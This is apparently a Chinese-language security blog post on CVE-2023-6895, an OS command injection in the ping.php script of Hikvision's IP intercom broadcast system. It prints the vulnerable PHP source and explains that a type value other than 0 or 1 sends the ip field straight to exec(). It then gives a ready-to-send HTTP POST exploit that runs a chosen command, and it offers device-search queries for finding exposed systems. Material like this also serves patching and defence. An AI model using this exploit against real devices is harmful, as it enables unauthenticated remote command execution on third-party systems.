本人非原创漏洞作者,文章仅作为知识分享用
一切直接或间接由于本文所造成的后果与本人无关
如有侵权,联系删除
产品简介
杭州海康威视数字技术有限公司IP网络对讲广播系统。
开发语言:PHP开发厂商:杭州海康威视数字技术有限公司
空间测绘
回复“CVE-2023-6895”获取空间测绘语句漏洞描述
海康威视对讲广播系统3.0.3_20201113_RELEASE(HIK)存在漏洞。它已被宣布为关键。该漏洞影响文件/php/ping.php 的未知代码。使用输入 netstat -ano 操作参数 jsondata[ip] 会导致 os 命令注入。
影响版本
v3.0.3_20201113_RELEASE(HIK)源码分析
ping.php源代码如下:
<?php// /**// *@param $ip target ip// *@param $times ping times// */header("Content-type: text/html; charset=GB2312");$postData = $_POST['jsondata'];if(isset($postData['ip']) && isset($postData['type'])){$type = $postData['type'];//类型$ip = $postData['ip'];//IP地址$arr = systemopr($type, $ip);$len = count($arr);for($i = 0; $i < $len; $i++){if(isset($arr[$i])){$arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8}}$after = json_encode($arr);//转换成jsonecho $after;}function systemopr($type, $ip, $times=4){$info = array();if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){//linuxif($type == "0"){exec("ping -c $times $ip", $info);}else if($type == "1"){exec("traceroute -m $times -w 1 $ip", $info);}else{exec($ip, $info);}}else{//windowsif($type == "0"){exec("ping $ip -n $times", $info);}else if($type == "1"){exec("tracert -h $times -w 1000 $ip", $info);}else{exec($ip, $info);}}return $info;}?>
问题在systemopr(),当jsondata[type]和jsondata[ip]存在值时,进入systemopr(),jsondata[ip]直接被代入命令执行exec()中,但是当jsondata[type]不为“0”或“1”时,不用考虑闭合参数,jsondata[ip]被直接当作命令执行。所以我们可以设置“jsondata[type]=3&jsondata[ip]=要执行的命令”即可。
演示如下:
漏洞利用
POST /php/ping.php HTTP/1.1Host: xxx.xxx.xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 45Origin: http://xxx.xxx.xxxConnection: closeReferer: http://xxx.xxx.xxx/html/system.htmlX-Forwarded-For: 127.0.0.1jsondata[type]=3&jsondata[ip]=ipconfig
回复“CVE-2023-6895”获取空间测绘语句